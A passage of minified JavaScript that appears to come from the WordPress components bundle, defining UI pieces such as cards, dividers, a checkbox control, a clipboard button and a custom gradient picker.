p.Base=Nl({borderRadius:n,bottom:a,boxShadow:dE(l),opacity:Fl.elevationIntensity,left:a,right:a,top:a},Nl("@media not ( prefers-reduced-motion ){transition:",u,";}",""),"",""),Vg(e)&&(p.hover=Nl("*:hover>&{box-shadow:",dE(e),";}","")),Vg(c)&&(p.active=Nl("*:active>&{box-shadow:",dE(c),";}","")),Vg(o)&&(p.focus=Nl("*:focus>&{box-shadow:",dE(o),";}","")),d(uE,p.Base,p.hover,p.focus,p.active,r)}),[t,n,r,d,o,i,s,a,l]),"aria-hidden":!0}}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Elevation"),fE=pE;const hE=`calc(${Fl.radiusLarge} - 1px)`,mE=Nl("box-shadow:0 0 0 1px ",Fl.surfaceBorderColor,";outline:none;",""),gE={name:"1showjb",styles:"border-bottom:1px solid;box-sizing:border-box;&:last-child{border-bottom:none;}"},vE={name:"14n5oej",styles:"border-top:1px solid;box-sizing:border-box;&:first-of-type{border-top:none;}"},bE={name:"13udsys",styles:"height:100%"},xE={name:"6ywzd",styles:"box-sizing:border-box;height:auto;max-height:100%"},yE={name:"dq805e",styles:"box-sizing:border-box;overflow:hidden;&>img,&>iframe{display:block;height:auto;max-width:100%;width:100%;}"},wE={name:"c990dr",styles:"box-sizing:border-box;display:block;width:100%"},_E=Nl("&:first-of-type{border-top-left-radius:",hE,";border-top-right-radius:",hE,";}&:last-of-type{border-bottom-left-radius:",hE,";border-bottom-right-radius:",hE,";}",""),SE=Nl("border-color:",Fl.colorDivider,";",""),CE={name:"1t90u8d",styles:"box-shadow:none"},kE={name:"1e1ncky",styles:"border:none"},jE=Nl("border-radius:",hE,";",""),EE=Nl("padding:",Fl.cardPaddingXSmall,";",""),PE={large:Nl("padding:",Fl.cardPaddingLarge,";",""),medium:Nl("padding:",Fl.cardPaddingMedium,";",""),small:Nl("padding:",Fl.cardPaddingSmall,";",""),xSmall:EE,extraSmall:EE},NE=Nl("background-color:",zl.ui.backgroundDisabled,";",""),TE=Nl("background-color:",Fl.surfaceColor,";color:",zl.gray[900],";position:relative;","");Fl.surfaceBackgroundColor;function IE({borderBottom:e,borderLeft:t,borderRight:n,borderTop:r}){const o=`1px solid ${Fl.surfaceBorderColor}`;return Nl({borderBottom:e?o:void 0,borderLeft:t?o:void 0,borderRight:n?o:void 0,borderTop:r?o:void 0},"","")}const RE=Nl("",""),ME=Nl("background:",Fl.surfaceBackgroundTintColor,";",""),AE=Nl("background:",Fl.surfaceBackgroundTertiaryColor,";",""),DE=e=>[e,e].join(" "),zE=e=>["90deg",[Fl.surfaceBackgroundColor,e].join(" "),"transparent 1%"].join(","),OE=e=>[[Fl.surfaceBackgroundColor,e].join(" "),"transparent 1%"].join(","),LE=(e,t)=>Nl("background:",(e=>[`linear-gradient( ${zE(e)} ) center`,`linear-gradient( ${OE(e)} ) center`,Fl.surfaceBorderBoldColor].join(","))(t),";background-size:",DE(e),";",""),FE=[`linear-gradient( ${[`${Fl.surfaceBorderSubtleColor} 1px`,"transparent 1px"].join(",")} )`,`linear-gradient( ${["90deg",`${Fl.surfaceBorderSubtleColor} 1px`,"transparent 1px"].join(",")} )`].join(","),BE=(e,t,n)=>{switch(e){case"dotted":return LE(t,n);case"grid":return(e=>Nl("background:",Fl.surfaceBackgroundColor,";background-image:",FE,";background-size:",DE(e),";",""))(t);case"primary":return RE;case"secondary":return ME;case"tertiary":return AE}};function VE(e){const{backgroundSize:t=12,borderBottom:n=!1,borderLeft:r=!1,borderRight:o=!1,borderTop:i=!1,className:s,variant:a="primary",...l}=sl(e,"Surface"),u=il();return{...l,className:(0,c.useMemo)((()=>{const e={borders:IE({borderBottom:n,borderLeft:r,borderRight:o,borderTop:i})};return u(TE,e.borders,BE(a,`${t}px`,t-1+"px"),s)}),[t,n,r,o,i,s,u,a])}}function $E(e){const{className:t,elevation:n=0,isBorderless:r=!1,isRounded:o=!0,size:i="medium",...s}=sl(function({elevation:e,isElevated:t,...n}){const r={...n};let o=e;var i;return t&&(Xi()("Card isElevated prop",{since:"5.9",alternative:"elevation"}),null!==(i=o)&&void 0!==i||(o=2)),void 0!==o&&(r.elevation=o),r}(e),"Card"),a=il();return{...VE({...s,className:(0,c.useMemo)((()=>a(mE,r&&CE,o&&jE,t)),[t,a,r,o])}),elevation:n,isBorderless:r,isRounded:o,size:i}}const HE=al((function(e,t){const{children:n,elevation:r,isBorderless:o,isRounded:i,size:s,...a}=$E(e),l=i?Fl.radiusLarge:0,u=il(),d=(0,c.useMemo)((()=>u(Nl({borderRadius:l},"",""))),[u,l]),p=(0,c.useMemo)((()=>{const e={size:s,isBorderless:o};return{CardBody:e,CardHeader:e,CardFooter:e}}),[o,s]);return(0,_t.jsx)(gs,{value:p,children:(0,_t.jsxs)(_l,{...a,ref:t,children:[(0,_t.jsx)(_l,{className:u(bE),children:n}),(0,_t.jsx)(fE,{className:d,isInteractive:!1,value:r?1:0}),(0,_t.jsx)(fE,{className:d,isInteractive:!1,value:r})]})})}),"Card"),WE=HE;const UE=Nl("@media only screen and ( min-device-width: 40em ){&::-webkit-scrollbar{height:12px;width:12px;}&::-webkit-scrollbar-track{background-color:transparent;}&::-webkit-scrollbar-track{background:",Fl.colorScrollbarTrack,";border-radius:8px;}&::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:",Fl.colorScrollbarThumb,";border:2px solid rgba( 0, 0, 0, 0 );border-radius:7px;}&:hover::-webkit-scrollbar-thumb{background-color:",Fl.colorScrollbarThumbHover,";}}",""),GE={name:"13udsys",styles:"height:100%"},KE={name:"7zq9w",styles:"scroll-behavior:smooth"},qE={name:"q33xhg",styles:"overflow-x:auto;overflow-y:hidden"},YE={name:"103x71s",styles:"overflow-x:hidden;overflow-y:auto"},XE={name:"umwchj",styles:"overflow-y:auto"};const ZE=al((function(e,t){const n=function(e){const{className:t,scrollDirection:n="y",smoothScroll:r=!1,...o}=sl(e,"Scrollable"),i=il();return{...o,className:(0,c.useMemo)((()=>i(GE,UE,r&&KE,"x"===n&&qE,"y"===n&&YE,"auto"===n&&XE,t)),[t,i,n,r])}}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Scrollable"),QE=ZE;const JE=al((function(e,t){const{isScrollable:n,...r}=function(e){const{className:t,isScrollable:n=!1,isShady:r=!1,size:o="medium",...i}=sl(e,"CardBody"),s=il();return{...i,className:(0,c.useMemo)((()=>s(xE,_E,PE[o],r&&NE,"components-card__body",t)),[t,s,r,o]),isScrollable:n}}(e);return n?(0,_t.jsx)(QE,{...r,ref:t}):(0,_t.jsx)(_l,{...r,ref:t})}),"CardBody"),eP=JE;var tP=jt((function(e){var t=e,{orientation:n="horizontal"}=t,r=x(t,["orientation"]);return r=v({role:"separator","aria-orientation":n},r)})),nP=St((function(e){return kt("hr",tP(e))}));const rP={vertical:{start:"marginLeft",end:"marginRight"},horizontal:{start:"marginTop",end:"marginBottom"}},oP=({"aria-orientation":e="horizontal",margin:t,marginStart:n,marginEnd:r})=>Nl(Mg({[rP[e].start]:Il(null!=n?n:t),[rP[e].end]:Il(null!=r?r:t)})(),"","");var iP={name:"1u4hpl4",styles:"display:inline"};const sP=({"aria-orientation":e="horizontal"})=>"vertical"===e?iP:void 0,aP=({"aria-orientation":e="horizontal"})=>Nl({["vertical"===e?"borderRight":"borderBottom"]:"1px solid currentColor"},"",""),lP=({"aria-orientation":e="horizontal"})=>Nl({height:"vertical"===e?"auto":0,width:"vertical"===e?0:"auto"},"",""),cP=yl("hr",{target:"e19on6iw0"})("border:0;margin:0;",sP," ",aP," ",lP," ",oP,";");const uP=al((function(e,t){const n=sl(e,"Divider");return(0,_t.jsx)(nP,{render:(0,_t.jsx)(cP,{}),...n,ref:t})}),"Divider");const dP=al((function(e,t){const n=function(e){const{className:t,...n}=sl(e,"CardDivider"),r=il();return{...n,className:(0,c.useMemo)((()=>r(wE,SE,"components-card__divider",t)),[t,r])}}(e);return(0,_t.jsx)(uP,{...n,ref:t})}),"CardDivider"),pP=dP;const fP=al((function(e,t){const n=function(e){const{className:t,justify:n,isBorderless:r=!1,isShady:o=!1,size:i="medium",...s}=sl(e,"CardFooter"),a=il();return{...s,className:(0,c.useMemo)((()=>a(vE,_E,SE,PE[i],r&&kE,o&&NE,"components-card__footer",t)),[t,a,r,o,i]),justify:n}}(e);return(0,_t.jsx)(kg,{...n,ref:t})}),"CardFooter"),hP=fP;const mP=al((function(e,t){const n=function(e){const{className:t,isBorderless:n=!1,isShady:r=!1,size:o="medium",...i}=sl(e,"CardHeader"),s=il();return{...i,className:(0,c.useMemo)((()=>s(gE,_E,SE,PE[o],n&&kE,r&&NE,"components-card__header",t)),[t,s,n,r,o])}}(e);return(0,_t.jsx)(kg,{...n,ref:t})}),"CardHeader"),gP=mP;const vP=al((function(e,t){const n=function(e){const{className:t,...n}=sl(e,"CardMedia"),r=il();return{...n,className:(0,c.useMemo)((()=>r(yE,_E,"components-card__media",t)),[t,r])}}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"CardMedia"),bP=vP;const xP=function e(t){const{__nextHasNoMarginBottom:n,label:r,className:o,heading:i,checked:a,indeterminate:u,help:d,id:p,onChange:f,...h}=t;i&&Xi()("`heading` prop in `CheckboxControl`",{alternative:"a separate element to implement a heading",since:"5.8"});const[m,g]=(0,c.useState)(!1),[v,b]=(0,c.useState)(!1),x=(0,l.useRefEffect)((e=>{e&&(e.indeterminate=!!u,g(e.matches(":checked")),b(e.matches(":indeterminate")))}),[a,u]),y=(0,l.useInstanceId)(e,"inspector-checkbox-control",p);return(0,_t.jsx)(Wx,{__nextHasNoMarginBottom:n,__associatedWPComponentName:"CheckboxControl",label:i,id:y,help:d&&(0,_t.jsx)("span",{className:"components-checkbox-control__help",children:d}),className:s("components-checkbox-control",o),children:(0,_t.jsxs)(fy,{spacing:0,justify:"start",alignment:"top",children:[(0,_t.jsxs)("span",{className:"components-checkbox-control__input-container",children:[(0,_t.jsx)("input",{ref:x,id:y,className:"components-checkbox-control__input",type:"checkbox",value:"1",onChange:e=>f(e.target.checked),checked:a,"aria-describedby":d?y+"__help":void 0,...h}),v?(0,_t.jsx)(oS,{icon:Lg,className:"components-checkbox-control__indeterminate",role:"presentation"}):null,m?(0,_t.jsx)(oS,{icon:ok,className:"components-checkbox-control__checked",role:"presentation"}):null]}),r&&(0,_t.jsx)("label",{className:"components-checkbox-control__label",htmlFor:y,children:r})]})})},yP=4e3;function wP({className:e,children:t,onCopy:n,onFinishCopy:r,text:o,...i}){Xi()("wp.components.ClipboardButton",{since:"5.8",alternative:"wp.compose.useCopyToClipboard"});const a=(0,c.useRef)(),u=(0,l.useCopyToClipboard)(o,(()=>{n(),a.current&&clearTimeout(a.current),r&&(a.current=setTimeout((()=>r()),yP))}));(0,c.useEffect)((()=>()=>{a.current&&clearTimeout(a.current)}),[]);const d=s("components-clipboard-button",e);return(0,_t.jsx)(Jx,{...i,className:d,ref:u,onCopy:e=>{e.target.focus()},children:t})}const _P=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"})});const SP={name:"1bcj5ek",styles:"width:100%;display:block"},CP={name:"150ruhm",styles:"box-sizing:border-box;width:100%;display:block;margin:0;color:inherit"},kP=Nl("border:1px solid ",Fl.surfaceBorderColor,";",""),jP=Nl(">*:not( marquee )>*{border-bottom:1px solid ",Fl.surfaceBorderColor,";}>*:last-of-type>*:not( :focus ){border-bottom-color:transparent;}",""),EP=Fl.radiusSmall,PP=Nl("border-radius:",EP,";",""),NP=Nl("border-radius:",EP,";>*:first-of-type>*{border-top-left-radius:",EP,";border-top-right-radius:",EP,";}>*:last-of-type>*{border-bottom-left-radius:",EP,";border-bottom-right-radius:",EP,";}",""),TP=`calc(${Fl.fontSize} * ${Fl.fontLineHeightBase})`,IP=`calc((${Fl.controlHeight} - ${TP} - 2px) / 2)`,RP=`calc((${Fl.controlHeightSmall} - ${TP} - 2px) / 2)`,MP=`calc((${Fl.controlHeightLarge} - ${TP} - 2px) / 2)`,AP={small:Nl("padding:",RP," ",Fl.controlPaddingXSmall,"px;",""),medium:Nl("padding:",IP," ",Fl.controlPaddingX,"px;",""),large:Nl("padding:",MP," ",Fl.controlPaddingXLarge,"px;","")},DP=(0,c.createContext)({size:"medium"}),zP=()=>(0,c.useContext)(DP);function OP(e){const{as:t,className:n,onClick:r,role:o="listitem",size:i,...s}=sl(e,"Item"),{spacedAround:a,size:l}=zP(),u=i||l,d=t||(void 0!==r?"button":"div"),p=il(),f=(0,c.useMemo)((()=>p(("button"===d||"a"===d)&&(e=>Nl("font-size:",Ix("default.fontSize"),";font-family:inherit;appearance:none;border:1px solid transparent;cursor:pointer;background:none;text-align:start;text-decoration:","a"===e?"none":void 0,";svg,path{fill:currentColor;}&:hover{color:",zl.theme.accent,";}&:focus{box-shadow:none;outline:none;}&:focus-visible{box-shadow:0 0 0 var( --wp-admin-border-width-focus ) ",zl.theme.accent,";outline:2px solid transparent;outline-offset:0;}",""))(d),AP[u]||AP.medium,CP,a&&PP,n)),[d,n,p,u,a]),h=p(SP);return{as:d,className:f,onClick:r,wrapperClassName:h,role:o,...s}}const LP=al((function(e,t){const{role:n,wrapperClassName:r,...o}=OP(e);return(0,_t.jsx)("div",{role:n,className:r,children:(0,_t.jsx)(_l,{...o,ref:t})})}),"Item");const FP=al((function(e,t){const{isBordered:n,isSeparated:r,size:o,...i}=function(e){const{className:t,isBordered:n=!1,isRounded:r=!0,isSeparated:o=!1,role:i="list",...s}=sl(e,"ItemGroup");return{isBordered:n,className:il()(n&&kP,o&&jP,r&&NP,t),role:i,isSeparated:o,...s}}(e),{size:s}=zP(),a={spacedAround:!n&&!r,size:o||s};return(0,_t.jsx)(DP.Provider,{value:a,children:(0,_t.jsx)(_l,{...i,ref:t})})}),"ItemGroup");function BP(e){return Math.max(0,Math.min(100,e))}function VP(e,t,n){const r=e.slice();return r[t]=n,r}function $P(e,t,n){if(function(e,t,n,r=0){const o=e[t].position,i=Math.min(o,n),s=Math.max(o,n);return e.some((({position:e},o)=>o!==t&&(Math.abs(e-n)<r||i<e&&e<s)))}(e,t,n))return e;return VP(e,t,{...e[t],position:n})}function HP(e,t,n){return VP(e,t,{...e[t],color:n})}function WP(e,t){if(!t)return;const{x:n,width:r}=t.getBoundingClientRect(),o=e-n;return Math.round(BP(100*o/r))}function UP({isOpen:e,position:t,color:n,...r}){const o=`components-custom-gradient-picker__control-point-button-description-${(0,l.useInstanceId)(UP)}`;return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(Jx,{"aria-label":(0,a.sprintf)((0,a.__)("Gradient control point at position %1$s%% with color code %2$s."),t,n),"aria-describedby":o,"aria-haspopup":"true","aria-expanded":e,__next40pxDefaultSize:!0,className:s("components-custom-gradient-picker__control-point-button",{"is-active":e}),...r}),(0,_t.jsx)(Sl,{id:o,children:(0,a.__)("Use your left or right arrow keys or drag and drop with the mouse to change the gradient position. Press the button to change the color or remove the control point.")})]})}function GP({isRenderedInSidebar:e,className:t,...n}){const r=(0,c.useMemo)((()=>({placement:"bottom",offset:8,resize:!1})),[]),o=s("components-custom-gradient-picker__control-point-dropdown",t);return(0,_t.jsx)(Ck,{isRenderedInSidebar:e,popoverProps:r,className:o,...n})}function KP({disableRemove:e,disableAlpha:t,gradientPickerDomRef:n,ignoreMarkerPosition:r,value:o,onChange:i,onStartControlPointChange:s,onStopControlPointChange:l,__experimentalIsRenderedInSidebar:u}){const d=(0,c.useRef)(),p=e=>{if(void 0===d.current||null===n.current)return;const t=WP(e.clientX,n.current),{initialPosition:r,index:s,significantMoveHappened:a}=d.current;!a&&Math.abs(r-t)>=5&&(d.current.significantMoveHappened=!0),i($P(o,s,t))},f=()=>{window&&window.removeEventListener&&d.current&&d.current.listenersActivated&&(window.removeEventListener("mousemove",p),window.removeEventListener("mouseup",f),l(),d.current.listenersActivated=!1)},h=(0,c.useRef)();return h.current=f,(0,c.useEffect)((()=>()=>{h.current?.()}),[]),(0,_t.jsx)(_t.Fragment,{children:o.map(((n,c)=>{const h=n?.position;return r!==h&&(0,_t.jsx)(GP,{isRenderedInSidebar:u,onClose:l,renderToggle:({isOpen:e,onToggle:t})=>(0,_t.jsx)(UP,{onClick:()=>{d.current&&d.current.significantMoveHappened||(e?l():s(),t())},onMouseDown:()=>{window&&window.addEventListener&&(d.current={initialPosition:h,index:c,significantMoveHappened:!1,listenersActivated:!0},s(),window.addEventListener("mousemove",p),window.addEventListener("mouseup",f))},onKeyDown:e=>{"ArrowLeft"===e.code?(e.stopPropagation(),i($P(o,c,BP(n.position-10)))):"ArrowRight"===e.code&&(e.stopPropagation(),i($P(o,c,BP(n.position+10))))},isOpen:e,position:n.position,color:n.color},c),renderContent:({onClose:r})=>(0,_t.jsxs)(xk,{paddingSize:"none",children:[(0,_t.jsx)(nk,{enableAlpha:!t,color:n.color,onChange:e=>{i(HP(o,c,yv(e).toRgbString()))}}),!e&&o.length>2&&(0,_t.jsx)(fy,{className:"components-custom-gradient-picker__remove-control-point-wrapper",alignment:"center",children:(0,_t.jsx)(Jx,{onClick:()=>{i(function(e,t){return e.filter(((e,n)=>n!==t))}(o,c)),r()},variant:"link",children:(0,a.__)("Remove Control Point")})})]}),style:{left:`${n.position}%`,transform:"translateX( -50% )"}},c)}))})}KP.InsertPoint=function({value:e,onChange:t,onOpenInserter:n,onCloseInserter:r,insertPosition:o,disableAlpha:i,__experimentalIsRenderedInSidebar:s}){const[a,l]=(0,c.useState)(!1);return(0,_t.jsx)(GP,{isRenderedInSidebar:s,className:"components-custom-gradient-picker__inserter",onClose:()=>{r()},renderToggle:({isOpen:e,onToggle:t})=>(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,"aria-expanded":e,"aria-haspopup":"true",onClick:()=>{e?r():(l(!1),n()),t()},className:"components-custom-gradient-picker__insert-point-dropdown",icon:Og}),renderContent:()=>(0,_t.jsx)(xk,{paddingSize:"none",children:(0,_t.jsx)(nk,{enableAlpha:!i,onChange:n=>{a?t(function(e,t,n){const r=e.findIndex((e=>e.position===t));return HP(e,r,n)}(e,o,yv(n).toRgbString())):(t(function(e,t,n){const r=e.findIndex((e=>e.position>t)),o={color:n,position:t},i=e.slice();return i.splice(r-1,0,o),i}(e,o,yv(n).toRgbString())),l(!0))}})}),style:null!==o?{left:`${o}%`,transform:"translateX( -50% )"}:void 0})};const qP=KP,YP=(e,t)=>{switch(t.type){case"MOVE_INSERTER":if("IDLE"===e.id||"MOVING_INSERTER"===e.id)return{id:"MOVING_INSERTER",insertPosition:t.insertPosition};break;case"STOP_INSERTER_MOVE":if("MOVING_INSERTER"===e.id)return{id:"IDLE"};break;case"OPEN_INSERTER":if("MOVING_INSERTER"===e.id)return{id:"INSERTING_CONTROL_POINT",insertPosition:e.insertPosition};break;case"CLOSE_INSERTER":if("INSERTING_CONTROL_POINT"===e.id)return{id:"IDLE"};break;case"START_CONTROL_CHANGE":if("IDLE"===e.id)return{id:"MOVING_CONTROL_POINT"};break;case"STOP_CONTROL_CHANGE":if("MOVING_CONTROL_POINT"===e.id)return{id:"IDLE"}}return e},XP={id:"IDLE"};function ZP({background:e,hasGradient:t,value:n,onChange:r,disableInserter:o=!1,disableAlpha:i=!1,__experimentalIsRenderedInSidebar:a=!1}){const l=(0,c.useRef)(null),[u,d]=(0,c.useReducer)(YP,XP),p=e=>{if(!l.current)return;const t=WP(e.clientX,l.current);n.some((({position:e})=>Math.abs(t-e)<10))?"MOVING_INSERTER"===u.id&&d({type:"STOP_INSERTER_MOVE"}):d({type:"MOVE_INSERTER",insertPosition:t})},f="MOVING_INSERTER"===u.id,h="INSERTING_CONTROL_POINT"===u.id;return(0,_t.jsxs)("div",{className:s("components-custom-gradient-picker__gradient-bar",{"has-gradient":t}),onMouseEnter:p,onMouseMove:p,onMouseLeave:()=>{d({type:"STOP_INSERTER_MOVE"})},children:[(0,_t.jsx)("div",{className:"components-custom-gradient-picker__gradient-bar-background",style:{background:e,opacity:t?1:.4}}),(0,_t.jsxs)("div",{ref:l,className:"components-custom-gradient-picker__markers-container",children:[!o&&(f||h)&&(0,_t.jsx)(qP.InsertPoint,{__experimentalIsRenderedInSidebar:a,disableAlpha:i,insertPosition:u.insertPosition,value:n,onChange:r,onOpenInserter:()=>{d({type:"OPEN_INSERTER"})},onCloseInserter:()=>{d({type:"CLOSE_INSERTER"})}}),(0,_t.jsx)(qP,{__experimentalIsRenderedInSidebar:a,disableAlpha:i,disableRemove:o,gradientPickerDomRef:l,ignoreMarkerPosition:h?u.insertPosition:void 0,value:n,onChange:r,onStartControlPointChange:()=>{d({type:"START_CONTROL_CHANGE"})},onStopControlPointChange:()=>{d({type:"STOP_CONTROL_CHANGE"})}})]})]})}var QP=o(8924);const JP="linear-gradient(135deg, rgba(6, 147, 227, 1) 0%, rgb(155, 81, 224) 100%)",eN={type:"angular",value:"90"},tN=[{value:"linear-gradient",label:(0,a.__)("Linear")},{value:"radial-gradient",label:(0,a.__)("Radial")}],nN={top:0,"top right":45,"right top":45,right:90,"right bottom":135,"bottom right":135,bottom:180,"bottom left":225,"left bottom":225,left:270,"top left":315,"left top":315};function rN({type:e,value:t,length:n}){return`${function({type:e,value:t}){return"literal"===e?t:"hex"===e?`#${t}`:`${e}(${t.join(",")})`}({type:e,value:t})} ${function(e){if(!e)return"";const{value:t,type:n}=e;return`${t}${n}`}(n)}`}function oN({type:e,orientation:t,colorStops:n}){const r=function(e){if(!Array.isArray(e)&&e&&"angular"===e.type)return`${e.value}deg`}(t);return`${e}(${[r,...n.sort(((e,t)=>{const n=e=>void 0===e?.length?.value?0:parseInt(e.length.value);return n(e)-n(t)})).map(rN)].filter(Boolean).join(",")})`}function iN(e){return void 0===e.length||"%"!==e.length.type}function sN(e){switch(e.type){case"hex":return`#${e.value}`;case"literal":return e.value;case"rgb":case"rgba":return`${e.type}(${e.value.join(",")})`;default:return"transparent"}}_v([Sv]);const aN=yl(Eg,{target:"e10bzpgi1"})({name:"1gvx10y",styles:"flex-grow:5"}),lN=yl(Eg,{target:"e10bzpgi0"})({name:"1gvx10y",styles:"flex-grow:5"}),cN=({gradientAST:e,hasGradient:t,onChange:n})=>{var r;const o=null!==(r=e?.orientation?.value)&&void 0!==r?r:180;return(0,_t.jsx)(_y,{onChange:t=>{n(oN({...e,orientation:{type:"angular",value:`${t}`}}))},value:t?o:""})},uN=({gradientAST:e,hasGradient:t,onChange:n})=>{const{type:r}=e;return(0,_t.jsx)(cS,{__nextHasNoMarginBottom:!0,className:"components-custom-gradient-picker__type-picker",label:(0,a.__)("Type"),labelPosition:"top",onChange:t=>{"linear-gradient"===t&&n(oN({...e,orientation:e.orientation?void 0:eN,type:"linear-gradient"})),"radial-gradient"===t&&(()=>{const{orientation:t,...r}=e;n(oN({...r,type:"radial-gradient"}))})()},options:tN,size:"__unstable-large",value:t?r:void 0})};const dN=function({value:e,onChange:t,enableAlpha:n=!0,__experimentalIsRenderedInSidebar:r=!1}){const{gradientAST:o,hasGradient:i}=function(e){let t,n=!!e;const r=null!=e?e:JP;try{t=QP.parse(r)[0]}catch(e){console.warn("wp.components.CustomGradientPicker failed to parse the gradient with error",e),t=QP.parse(JP)[0],n=!1}if(Array.isArray(t.orientation)||"directional"!==t.orientation?.type||(t.orientation={type:"angular",value:nN[t.orientation.value].toString()}),t.colorStops.some(iN)){const{colorStops:e}=t,n=100/(e.length-1);e.forEach(((e,t)=>{e.length={value:""+n*t,type:"%"}}))}return{gradientAST:t,hasGradient:n}}(e),s=function(e){return oN({type:"linear-gradient",orientation:eN,colorStops:e.colorStops})}(o),a=o.colorStops.map((e=>({color:sN(e),position:parseInt(e.length.value)})));return(0,_t.jsxs)(pk,{spacing:4,className:"components-custom-gradient-picker",children:[(0,_t.jsx)(ZP,{__experimentalIsRenderedInSidebar:r,disableAlpha:!n,background:s,hasGradient:i,value:a,onChange:e=>{t(oN(function(e,t){return{...e,colorStops:t.map((({position:e,color:t})=>{const{r:n,g:r,b:o,a:i}=yv(t).toRgb();return{length:{type:"%",value:e?.toString()},type:i<1?"rgba":"rgb",value:i<1?[`${n}`,`${r}`,`${o}`,`${i}`]:[`${n}`,`${r}`,`${o}`]}}))}}(o,e)))}}),(0,_t.jsxs)(kg,{gap:3,className:"components-custom-gradient-picker__ui-line",children:[(0,_t.jsx)(aN,{children:(0,_t.jsx)(uN,{gradientAST:o,hasGradient:i,onChange:t})}),(0,_t.jsx)(lN,{children:"linear-gradient"===o.type&&(0,_t.jsx)(cN,{gradientAST:o,hasGradient:i,onChange:t})})]})]})},pN=e=>e.length>0&&e.every((e=>{return t=e,Array.isArray(t.gradients)&&!("gradient"in t);var t}));function fN({className:e,clearGradient:t,gradients:n,onChange:r,value:o,...i}){const s=(0,c.useMemo)((()=>n.map((({gradient:e,name:n,slug:i},s)=>(0,_t.jsx)(uk.Option,{value:e,isSelected:o===e,tooltipText:n||(0,a.sprintf)((0,a.__)("Gradient code: %s"),e),style:{color:"rgba( 0,0,0,0 )",background:e},onClick:o===e?t:()=>r(e,s),"aria-label":n?(0,a.sprintf)((0,a.__)("Gradient: %s"),n):(0,a.sprintf)((0,a.__)("Gradient code: %s"),e)},i)))),[n,o,r,t]);return(0,_t.jsx)(uk.OptionGroup,{className:e,options:s,...i})}function hN({className:e,clearGradient:t,gradients:n,onChange:r,value:o,headingLevel:i}){const s=(0,l.useInstanceId)(hN);return(0,_t.jsx)(pk,{spacing:3,className:e,children:n.map((({name:e,gradients:n},a)=>{const l=`color-palette-${s}-${a}`;return(0,_t.jsxs)(pk,{spacing:2,children:[(0,_t.jsx)(gk,{level:i,id:l,children:e}),(0,_t.jsx)(fN,{clearGradient:t,gradients:n,onChange:e=>r(e,a),value:o,"aria-labelledby":l})]},a)}))})}function mN(e){const{asButtons:t,loop:n,actions:r,headingLevel:o,"aria-label":i,"aria-labelledby":s,...a}=e,l=pN(e.gradients)?(0,_t.jsx)(hN,{headingLevel:o,...a}):(0,_t.jsx)(fN,{...a}),{metaProps:c,labelProps:u}=dk(t,n,i,s);return(0,_t.jsx)(uk,{...c,...u,actions:r,options:l})}const gN=function({className:e,gradients:t=[],onChange:n,value:r,clearable:o=!0,enableAlpha:i=!0,disableCustomGradients:s=!1,__experimentalIsRenderedInSidebar:l,headingLevel:u=2,...d}){const p=(0,c.useCallback)((()=>n(void 0)),[n]);return(0,_t.jsxs)(pk,{spacing:t.length?4:0,children:[!s&&(0,_t.jsx)(dN,{__experimentalIsRenderedInSidebar:l,enableAlpha:i,value:r,onChange:n}),(t.length>0||o)&&(0,_t.jsx)(mN,{...d,className:e,clearGradient:p,gradients:t,onChange:n,value:r,actions:o&&!s&&(0,_t.jsx)(uk.ButtonAction,{onClick:p,accessibleWhenDisabled:!0,disabled:!r,children:(0,a.__)("Clear")}),headingLevel:u})]})},vN=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z"})}),bN=window.wp.dom,xN=()=>{},yN=["menuitem","menuitemradio","menuitemcheckbox"];class wN extends c.Component{constructor(e){super(e),this.onKeyDown=this.onKeyDown.bind(this),this.bindContainer=this.bindContainer.bind(this),this.getFocusableContext=this.getFocusableContext.bind(this),this.getFocusableIndex=this.getFocusableIndex.bind(this)}componentDidMount(){this.container&&this.container.addEventListener("keydown",this.onKeyDown)}componentWillUnmount(){this.container&&this.container.removeEventListener("keydown",this.onKeyDown)}bindContainer(e){const{forwardedRef:t}=this.props;this.container=e,"function"==typeof t?t(e):t&&"current"in t&&(t.current=e)}getFocusableContext(e){if(!this.container)return null;const{onlyBrowserTabstops:t}=this.props,n=(t?bN.focus.tabbable:bN.focus.focusable).find(this.container),r=this.getFocusableIndex(n,e);return r>-1&&e?{index:r,target:e,focusables:n}:null}getFocusableIndex(e,t){return e.indexOf(t)}onKeyDown(e){this.props.onKeyDown&&this.props.onKeyDown(e);const{getFocusableContext:t}=this,{cycle:n=!0,eventToOffset:r,onNavigate:o=xN,stopNavigationEvents:i}=this.props,s=r(e);if(void 0!==s&&i){e.stopImmediatePropagation();const t=e.target?.getAttribute("role");!!t&&yN.includes(t)&&e.preventDefault()}if(!s)return;const a=e.target?.ownerDocument?.activeElement;if(!a)return;const l=t(a);if(!l)return;const{index:c,focusables:u}=l,d=n?function(e,t,n){const r=e+n;return r<0?t+r:r>=t?r-t:r}(c,u.length,s):c+s;d>=0&&d<u.length&&(u[d].focus(),o(d,u[d]),"Tab"===e.code&&e.preventDefault())}render(){const{children:e,stopNavigationEvents:t,eventToOffset:n,onNavigate:r,onKeyDown:o,cycle:i,onlyBrowserTabstops:s,forwardedRef:a,...l}=this.props;return(0,_t.jsx)("div",{ref:this.bindContainer,...l,children:e})}}const _N=(e,t)=>(0,_t.jsx)(wN,{...e,forwardedRef:t});_N.displayName="NavigableContainer";const SN=(0,c.forwardRef)(_N);const CN=(0,c.forwardRef)((function({role:e="menu",orientation:t="vertical",...n},r){return(0,_t.jsx)(SN,{ref:r,stopNavigationEvents:!0,onlyBrowserTabstops:!1,role:e,"aria-orientation":"presentation"===e||"vertical"!==t&&"horizontal"!==t?void 0:t,eventToOffset:e=>{const{code:n}=e;let 